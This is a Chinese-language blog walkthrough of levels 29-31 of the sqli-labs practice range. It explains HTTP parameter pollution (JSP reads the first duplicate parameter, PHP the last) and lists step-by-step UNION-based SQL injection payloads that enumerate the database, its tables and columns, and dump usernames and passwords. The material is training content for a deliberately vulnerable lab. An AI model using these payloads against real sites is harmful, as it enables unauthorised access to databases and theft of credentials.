sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错------判断为单引号闭合

?id=2&id=1'--+正常回显------确定为单引号闭合

?id=2&id=1' order by 3--+------判断有三处回显

?id=2&id=' union select 1,2,3--+------判断出回显位置

?id=2&id=' union select 1,user(),database()--+------爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+------ 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显------判断为双引号闭合

?id=a&id=1"--+------正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+------判断有三处回显位

?id=a&id=" union select 1,2,3--+------找到回显位置

?id=a&id=" union select 1,2,database()--+------爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+------爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错------判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显------判断为双引号括号闭合:

?id=0&id=2") order by 3--+------判断有三处回显

?id=0&id=") union select 1,2,3--+------找到回显位置

?id=0&id=") union select 1,2,database()--+------爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+------爆数据



相关推荐
guts°2 小时前
17-VRRP
网络·智能路由器
Jewel Q2 小时前
动态路由协议基础
网络·智能路由器
宇称不守恒4.03 小时前
2025暑期—06神经网络-常见网络2
网络·人工智能·神经网络
Dreams_l3 小时前
网络编程2(应用层协议,传输层协议)
运维·服务器·网络
7ACE3 小时前
Wireshark TS | 发送数据超出接收窗口
网络协议·tcp/ip·wireshark
数据与人工智能律师3 小时前
数字迷雾中的安全锚点:解码匿名化与假名化的法律边界与商业价值
大数据·网络·人工智能·云计算·区块链
先知后行。3 小时前
网络协议HTTP、TCP(草稿)
网络·网络协议
xzkyd outpaper4 小时前
QUIC协议如何在UDP基础上解决网络切换问题
网络·计算机网络·udp·quic
碳酸的唐4 小时前
Inception网络架构:深度学习视觉模型的里程碑
网络·深度学习·架构
Jewel Q5 小时前
VRRP技术
网络·智能路由器